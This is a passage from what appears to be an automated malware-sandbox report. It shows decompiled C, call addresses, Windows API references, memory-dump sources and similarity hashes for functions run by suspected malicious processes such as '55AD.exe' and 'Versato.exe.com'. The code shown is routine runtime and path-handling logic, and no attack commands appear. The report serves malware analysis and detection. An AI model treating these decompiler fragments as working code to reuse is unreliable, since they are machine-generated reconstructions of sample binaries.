						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E011B16A0(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x11b91e0; // 0x383d570
						 *(_t34 + 4) = _t11;
						 *0x11b91e0 = _t34;
						return 1;
					}
					_t25 =  *0x11b8584; // 0x1502ae
					E011B4495(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x11b8584; // 0x1502ae
				E011B4495(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x011b47c2
0x011b47ca
0x011b47ce
0x011b47e9
0x011b47eb
0x011b47ee
0x011b47ee
0x011b47f0
0x011b47f1
0x011b4803
0x011b4805
0x011b4809
0x011b4829
0x011b482c
0x011b482f
0x011b482f
0x011b4831
0x011b4832
0x011b483a
0x011b483f
0x011b4844
0x011b4849
0x00000000
0x011b4850
0x011b480b
0x011b481b
0x011b4821
0x011b47e5
0x00000000
0x011b47e5
0x011b47d0
0x011b47e0
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,011B4E3F), ref: 011B47C4
LocalAlloc.KERNEL32(00000040,?), ref: 011B47FD
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 011B4821

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B482B

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-305352358
Opcode ID: f888b8e09800cc9b42211691b70111ed4d36de3d78726126cb9610c330ec458a
Instruction ID: 540b6644dcb0d15f4f219195489b6f752b201800413f09284488b0a54443890c
Opcode Fuzzy Hash: f888b8e09800cc9b42211691b70111ed4d36de3d78726126cb9610c330ec458a
Instruction Fuzzy Hash: FA1129B96046016FD73D8E64A8D8FB3375DEBC6314B04C529E993CB64ADB359806C760

Uniqueness

Uniqueness Score: -1.00%

Function 011B3670, Relevance: 6.0, APIs: 4, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B3670(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x011b367c
0x011b367f
0x011b3681
0x011b368f
0x011b3697
0x00000000
0x00000000
0x011b36aa
0x00000000
0x011b36ac
0x011b36ac
0x011b36b0
0x011b36bb
0x011b36b2
0x011b36b4
0x011b36b4
0x011b36ca
0x011b36d0
0x011b36d6
0x00000000
0x00000000
0x011b36d6
0x00000000
0x011b36aa
0x011b36db

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 011B368F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011B36A2
DispatchMessageA.USER32(?), ref: 011B36BB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011B36CA

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 73b38b7306e24d1e23164f4bd66b0fe73d02daeeafcd6812a818ac665c9a2846
Instruction ID: 20771eaedd364fabb42d71625581921d2883835d60cb45f629daf5cc98bb7e78
Opcode Fuzzy Hash: 73b38b7306e24d1e23164f4bd66b0fe73d02daeeafcd6812a818ac665c9a2846
Instruction Fuzzy Hash: 7101627290025577DF385AAAAC88EEB7A7CFFC9B50F040129FA21E2284D660C691C760

Uniqueness

Uniqueness Score: -1.00%

Function 011B6592, Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E011B6592(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x011b6592
0x011b6597
0x011b6599
0x011b659c
0x011b659e
0x011b659e
0x011b65a0
0x011b65a1
0x011b65b2
0x011b65bb
0x011b65c2
0x011b65c6
0x00000000
0x00000000
0x011b65b8
0x011b65cd
0x011b65cf
0x011b65e5
0x011b65e5
0x011b65e7
0x011b65eb
0x011b65ba
0x011b65ba
0x00000000
0x011b65ba
0x011b65ee
0x011b65f1
0x011b65f1
0x011b65cb
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,011B2B2C), ref: 011B65AC
CharPrevA.USER32(?,00000000), ref: 011B65BC
CharPrevA.USER32(?,00000000), ref: 011B65D3
CharNextA.USER32(00000000), ref: 011B65DF

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 83af08a1643fd124f0247696622754226e6e2b3aad6bd9195a610521825b58c6
Instruction ID: 05c44ba0a72fc179f8f6c653809819fb8f59cb590c3de6700dd3c9404ce485b4
Opcode Fuzzy Hash: 83af08a1643fd124f0247696622754226e6e2b3aad6bd9195a610521825b58c6
Instruction Fuzzy Hash: E8F0F4710041506EE73B0E2C5CC88FBBF9C8F9B1D4719026FE6E193009D7550996CB61

Uniqueness

Uniqueness Score: -1.00%

Function 011B6950, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B6950() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x11b81f8 = E011B6C1A();
				__set_app_type(E011B6F68(2));
				 *0x11b88a4 =  *0x11b88a4 | 0xffffffff;
				 *0x11b88a8 =  *0x11b88a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x11b8528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x11b851c; // 0x0
				 *_t5 = _t12;
				_t6 = E011B6FB0();
				if( *0x11b8000 == 0) {
					__setusermatherr(E011B6FB0);
				}
				E011B719D(_t6);
				return 0;
			}

0x011b6957
0x011b6962
0x011b6968
0x011b696f
0x011b6978
0x011b697e
0x011b6984
0x011b6986
0x011b698c
0x011b6992
0x011b6994
0x011b69a0
0x011b69a7
0x011b69ad
0x011b69ae
0x011b69b5

APIs

Part of subcall function 011B6F68: GetModuleHandleW.KERNEL32(00000000), ref: 011B6F6F

__set_app_type.MSVCRT ref: 011B6962
__p__fmode.MSVCRT ref: 011B6978
__p__commode.MSVCRT ref: 011B6986
__setusermatherr.MSVCRT ref: 011B69A7

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 847cf5cd4c8006d983d231c23df05215ff8db42a1c55d6b9ca3a0e0d2eead31c
Instruction ID: 6d86e74a4094c088d209cf299030494973f95c884d5c2b670a709cb64eb6d598
Opcode Fuzzy Hash: 847cf5cd4c8006d983d231c23df05215ff8db42a1c55d6b9ca3a0e0d2eead31c
Instruction Fuzzy Hash: 3BF09270504312DFCB3C6F74F5D96887BA5FB64B25B204669E4B2862D8CF3A88C1CB21

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 55AD.exe PID: 6788 Parent PID: 3424 55AD.exeCOMMON

Executed Functions

Function 003D23F0, Relevance: 5.4, Strings: 4, Instructions: 392COMMON

Download Yara Rule

Strings

5:, xrefs: 003D24EA
5:, xrefs: 003D27D5
L6:, xrefs: 003D2655
L6:, xrefs: 003D2554

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID: L6:$L6:$5:$5:
API String ID: 0-1371381763
Opcode ID: b3fb5fa690496539dc5e1a897a93fec063b94a475c72642fa4183e52fb9a4cce
Instruction ID: 54b7caea069da2205b53bfbde5fa043b5239e98798e6cedf0e178677057867f0
Opcode Fuzzy Hash: b3fb5fa690496539dc5e1a897a93fec063b94a475c72642fa4183e52fb9a4cce
Instruction Fuzzy Hash: ADD19E39B002049F9B1AAB79D861A6FB7F7EFD4304715842AE906DB765EF30DC019B90

Uniqueness

Uniqueness Score: -1.00%

Function 003D1BB8, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

T):, xrefs: 003D1C2E

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID: T):
API String ID: 0-381557031
Opcode ID: 06894ba2b9e4d5a69a350dc64b54a28e9c89b4dc76055f0e84705890233963f6
Instruction ID: 147ede3d91b2c48f755e6f55733ab4ec8275381349a885e41b8acf7910d661d0
Opcode Fuzzy Hash: 06894ba2b9e4d5a69a350dc64b54a28e9c89b4dc76055f0e84705890233963f6
Instruction Fuzzy Hash: 075100357042045FDB66AB7994A867F7BE7EBC9350B09847AE90ACB345EF30CC068791

Uniqueness

Uniqueness Score: -1.00%

Function 003D2DB1, Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

`<:, xrefs: 003D2DED

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID: `<:
API String ID: 0-40481407
Opcode ID: cf90cbb40d81cf54767ca8ef1311e350de9b794d377b5a8da6c69c1c9f29279f
Instruction ID: 57920bbb42c2d25ee5f286f00dbe41f999f9b1cf3e5983f9b6b903f5adbcdcac
Opcode Fuzzy Hash: cf90cbb40d81cf54767ca8ef1311e350de9b794d377b5a8da6c69c1c9f29279f
Instruction Fuzzy Hash: 9A212532B0D3C40FD723D7389468AAA7FB29F9626474944AED488CB752EA64CC06C742

Uniqueness

Uniqueness Score: -1.00%

Function 003D1DF9, Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

H*:, xrefs: 003D1E92

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID: H*:
API String ID: 0-682561776
Opcode ID: 5a9e0fd14798a8b826d499b237f652ce2b874c6bc49cb534a508fb7b3a14b0e9
Instruction ID: 89593ac0944592ab52851161eb3584779321572c67c65c7555e63cc9b40fffe3
Opcode Fuzzy Hash: 5a9e0fd14798a8b826d499b237f652ce2b874c6bc49cb534a508fb7b3a14b0e9
Instruction Fuzzy Hash: 531103357083545FC721DB79D49092F7BA5FFC52187054A6ED546CF351DB34AC008B81

Uniqueness

Uniqueness Score: -1.00%

Function 003D07D8, Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0ddb7c77aa0949b1f03af18ae116946558fd105fbf6bfa8dd20ce8d5c85a8f
Instruction ID: 36c1e553d0681fb525c6af2b382bd9b0c2ced58a96924b910124c659fd632d4e
Opcode Fuzzy Hash: 2c0ddb7c77aa0949b1f03af18ae116946558fd105fbf6bfa8dd20ce8d5c85a8f
Instruction Fuzzy Hash: B0E10032B082048FD75A9B78E4647AEBBB6EF85704F15816BD805DB351EB30EC81DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0089D200, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.993459893.000000000089D000.00000040.00000001.sdmp, Offset: 0089D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 517c7e2c834accd3c0490cde52da382535f0c603d72d546857c4eddca20d9758
Instruction ID: c2cac9654d4d2e5be90c8df1d740a1618e308aa701f8348a2c846b0154c455f8
Opcode Fuzzy Hash: 517c7e2c834accd3c0490cde52da382535f0c603d72d546857c4eddca20d9758
Instruction Fuzzy Hash: FF2125B1504344DFCF05EF90D9C0B2ABB65FB88314F28C569ED099B246C33AE816DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0089D4C8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.993459893.000000000089D000.00000040.00000001.sdmp, Offset: 0089D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f426cd71474a65ac9ce2fda8fe49bd937fd92d516527d58ced2c9c211a5b347c
Instruction ID: 6124706cf4b187119f7b20f0a5d18775340db4afdb2855437da91504f3295143
Opcode Fuzzy Hash: f426cd71474a65ac9ce2fda8fe49bd937fd92d516527d58ced2c9c211a5b347c
Instruction Fuzzy Hash: F32145B1504344EFCF11EF14C9C0B2ABF65FB88318F28C569E9098B206C336D816CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003D0688, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc36aa0def51c65f7ee10ffd1dd665cfc1842566d7250fee859aff1596b93547
Instruction ID: 08ee13049a6f4bb05980ed73a13264b06460deca3019bc86288f8ef3f0bf2ce1
Opcode Fuzzy Hash: fc36aa0def51c65f7ee10ffd1dd665cfc1842566d7250fee859aff1596b93547
Instruction Fuzzy Hash: B12196363002408B9B1B6B6668283AB36AFEBC4F45F74812B9516CBF51DF61EC01CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003D07C8, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83bed7212e112ea3fa4e34cd569ce5a66009c932c8b66a1caac955c4f6f7cde3
Instruction ID: 646950d43774fb7781933581121acfab1e17489c6cbad883898c3797b0345a69
Opcode Fuzzy Hash: 83bed7212e112ea3fa4e34cd569ce5a66009c932c8b66a1caac955c4f6f7cde3
Instruction Fuzzy Hash: E5217236A481108FD73FCA59E098BAAA7B5EBD1B40F1A8157D804CBB54C361EC81EBC1

Uniqueness

Uniqueness Score: -1.00%

Function 003D1280, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8fce202be26fe31ad017202b01a095404baec0ca4ac85e14630c5455927c589
Instruction ID: b004111ae9e2358b2b10cd3799fe888c6625f565dfc99fad3e9e3685b7930726
Opcode Fuzzy Hash: f8fce202be26fe31ad017202b01a095404baec0ca4ac85e14630c5455927c589
Instruction Fuzzy Hash: 6511D6397002045FCB05AFB89C586BE7BF6EFC9211F048429F946DB395DE708D1597A2

Uniqueness

Uniqueness Score: -1.00%

Function 003D1290, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9717929a397dba47a95951a1a9169b6fa03450228e1979c19c99b0d576a411e2
Instruction ID: b7eaa3c27f95f56f36f781e175aaa67d8764f12df6cef4584b3301f4c42b785a
Opcode Fuzzy Hash: 9717929a397dba47a95951a1a9169b6fa03450228e1979c19c99b0d576a411e2
Instruction Fuzzy Hash: DF119139B001045FCF05AFA99C99ABE7AE6EBC8610F048429F906DB381DE718D0587A2

Uniqueness

Uniqueness Score: -1.00%

Function 0089D1FB, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.993459893.000000000089D000.00000040.00000001.sdmp, Offset: 0089D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8013064e77b8ccba1ccc63505ae29767a9d5b7b8b50ddd132a37ca29927e2094
Instruction ID: fae42c0c71a78eb5260ce29f14028b7cdca528e1a21956f8f437d98d131de5f4
Opcode Fuzzy Hash: 8013064e77b8ccba1ccc63505ae29767a9d5b7b8b50ddd132a37ca29927e2094
Instruction Fuzzy Hash: F321AF76504284DFCF06DF50D9C4B16BF61FB98310F28C2AADC094B656C33AE81ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0089D4C3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.993459893.000000000089D000.00000040.00000001.sdmp, Offset: 0089D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9c8edde8b2a1e68172165066b63f2a765afcbed2cc6d224c1bf27dbd234ee47
Instruction ID: b27883d6f3433aa32644707aa1d7402ff67e486eeaa6f6b5ef11aaf09faf3bf3
Opcode Fuzzy Hash: d9c8edde8b2a1e68172165066b63f2a765afcbed2cc6d224c1bf27dbd234ee47
Instruction Fuzzy Hash: D211B176504280DFCF11DF10D9C4B1ABF61FB94324F28C6A9D8094B256C336D85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003D0D91, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d66e1303e71b564580f7790b6b9c0184aabd1a32ac135189f4a73c4dae73a5d3
Instruction ID: 0ee287bef867ec05a0fc498cec9bfa77640057954e7b09be70f162e845ae461f
Opcode Fuzzy Hash: d66e1303e71b564580f7790b6b9c0184aabd1a32ac135189f4a73c4dae73a5d3
Instruction Fuzzy Hash: D901F77A7042001FC706E66CA894B7E2BEADBC9660F45805BF508DF382DE608D0287A6

Uniqueness

Uniqueness Score: -1.00%

Function 003D0900, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fd0315b0d7980ec4986350c0cdc198fc2f31120e670ba45d2cf1ae02e56d40
Instruction ID: 9c5d60f7548eda66278ea68de6dda65422f7306050fd33c63a7a65bfe288f83c
Opcode Fuzzy Hash: 83fd0315b0d7980ec4986350c0cdc198fc2f31120e670ba45d2cf1ae02e56d40
Instruction Fuzzy Hash: C801DF23B101104BABAF9618E0617AEA7D6CBD1F51F51812BD844DFB66DA30EC4247D0

Uniqueness

Uniqueness Score: -1.00%

Function 003D0DA0, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8349ff8c43959bbdd04fcb0f4ca11b1810db7c9fb76d952bb339d428d1d03649
Instruction ID: c3cd9b0cf7571c9dc496cf720223cbf3355d5e1249ad0beba5ced43070985e2a
Opcode Fuzzy Hash: 8349ff8c43959bbdd04fcb0f4ca11b1810db7c9fb76d952bb339d428d1d03649
Instruction Fuzzy Hash: 55F0F4393001042F8704AA5DD884F7E37EADBC9AA0F458019F908DB381DE719C0187E6

Uniqueness

Uniqueness Score: -1.00%

Function 003D076A, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e44b0da38a63a1668d36a059ed970d5178812d55289092e15bb7d5b640975e2
Instruction ID: 6c27538d54522e767bdce1017a83277666b80e5182540df178befe39961edd61
Opcode Fuzzy Hash: 8e44b0da38a63a1668d36a059ed970d5178812d55289092e15bb7d5b640975e2
Instruction Fuzzy Hash: 66F0243930C2981FC716837D0CA4A6A7FFADFCA05430540BFE48ADB353E9219C0283A0

Uniqueness

Uniqueness Score: -1.00%

Function 003D2BD0, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb3ddc89ea9b7c1f1cfb214798c1da176c1310163bfd9cffe8f114dc46f1917
Instruction ID: 5860a5bf16154439c1ed7872a8e711014028748dfa036fef5b5aec305d3fc161
Opcode Fuzzy Hash: cdb3ddc89ea9b7c1f1cfb214798c1da176c1310163bfd9cffe8f114dc46f1917
Instruction Fuzzy Hash: A2F01C767042145F5B559A5DE88896FBBEEEBC8660314802AF909C7704DF70DC0287A5

Uniqueness

Uniqueness Score: -1.00%

Function 003D0778, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b319e0f9eda624468fbc53ffce88f878a54dc79e5315f7adca62e45eaca6b66
Instruction ID: 2f5005a9985fc9d58031ef363aed0da7fb1e5f196b92f35cb6aad4cf063e2d9d
Opcode Fuzzy Hash: 5b319e0f9eda624468fbc53ffce88f878a54dc79e5315f7adca62e45eaca6b66
Instruction Fuzzy Hash: 5DE09B393042181F5754967E5C5896BB7DEEFC95A4311403AE50DD7351EE71DC0147D4

Uniqueness

Uniqueness Score: -1.00%

Function 003D1358, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cfab939c8e5c37dba8d59929e08a7cefdec1ab7d0a4dc2fbff367cfc0caf045
Instruction ID: 9e15cd5e65b6ac1da847619d0616dae10d1113949c47ce0ad22fb2d53481be5c
Opcode Fuzzy Hash: 3cfab939c8e5c37dba8d59929e08a7cefdec1ab7d0a4dc2fbff367cfc0caf045
Instruction Fuzzy Hash: 3DE0DF363082282F1B189A9E6C8497FA7EFEBCC1A4315803AE90CD7341EEA1DC0143E0

Uniqueness

Uniqueness Score: -1.00%

Function 003D36B9, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b352f09db065e2b5ee88f6910f196ecabf2c00e42cf42a7695e6c25ab83ce6
Instruction ID: f37c44f784c2a0a77b6a378cc245b42ef3d7ef57f66243a5b64685536c5599d9
Opcode Fuzzy Hash: d0b352f09db065e2b5ee88f6910f196ecabf2c00e42cf42a7695e6c25ab83ce6
Instruction Fuzzy Hash: 32F0E2287086484FCB15E7B998515AFBBF5EF82210704C57EC505D7742EB748C048752

Uniqueness

Uniqueness Score: -1.00%

Function 003D0678, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f843c263843a005f059f5e579454e9be20281f46367df42196adae1f51d9cdc
Instruction ID: d5a6f5da1b29405a48dcdcc52f2932eff689f99e9b34e79240609cc761f9b754
Opcode Fuzzy Hash: 9f843c263843a005f059f5e579454e9be20281f46367df42196adae1f51d9cdc
Instruction Fuzzy Hash: 23F0E52730C3D04FC71B176528287623FAE6F83B55B1901EBC145CBB52D965C84187A2

Uniqueness

Uniqueness Score: -1.00%

Function 003D0A50, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.986385108.00000000003D0000.00000040.00000001.sdmp, Offset: 003D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0372991d02b1ae252c30a8a1f1cc3a97ea71bccc0e673405cc6c484639f8a2b4
Instruction ID: 1aacd87c12761ab485418f635479459d7fa9b4195bed0eb5bc4a3571aab65994
Opcode Fuzzy Hash: 0372991d02b1ae252c30a8a1f1cc3a97ea71bccc0e673405cc6c484639f8a2b4
Instruction Fuzzy Hash: E1E0D8327442145F8356DFA8D490F9ABFD5CF89690B09806BE90CCF311E631DD4187C0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: Versato.exe.com PID: 6804 Parent PID: 6976 Versato.exe.comCOMMON

Executed Functions

Function 0118B020, Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 01193740: CharUpperBuffW.USER32(?,012471DC,00000001,?,00000000,012471DC,?,011853A5,?,?,?,?), ref: 0119375D

_memmove.LIBCMT ref: 0118B68A

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: a7549c9d4775d460e8c7e09108dfe10368dff62a4781fe33c015e4c53bf3dc2f
Instruction ID: 260239de18663c0b0fb9eabbe4a45aee869dc8afd555ce22a1ecc6e843d8129e
Opcode Fuzzy Hash: a7549c9d4775d460e8c7e09108dfe10368dff62a4781fe33c015e4c53bf3dc2f
Instruction Fuzzy Hash: ECA29A746087429FD729EF18C480B2ABBE1BF95704F09C95DE89A8B361D730E845CF96

Uniqueness

Uniqueness Score: -1.00%

Function 011894E0, Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99631a50b9f321e159365957012bf3fec43225a8008d1099c8eb0a8f3147275
